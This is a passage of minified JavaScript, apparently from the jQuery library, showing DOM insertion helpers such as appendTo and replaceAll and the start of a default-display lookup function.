c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(ea(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],f=n(a),h=f.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(f[d])[b](c),g.apply(e,c.get());return this.pushStack(e)}});var Ja,Ka={HTML:"block",BODY:"block"};function La(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function Ma(a){var b=d,c=Ka[a];return c||(c=La(a,b),"none"!==c&&c||(Ja=(Ja||n("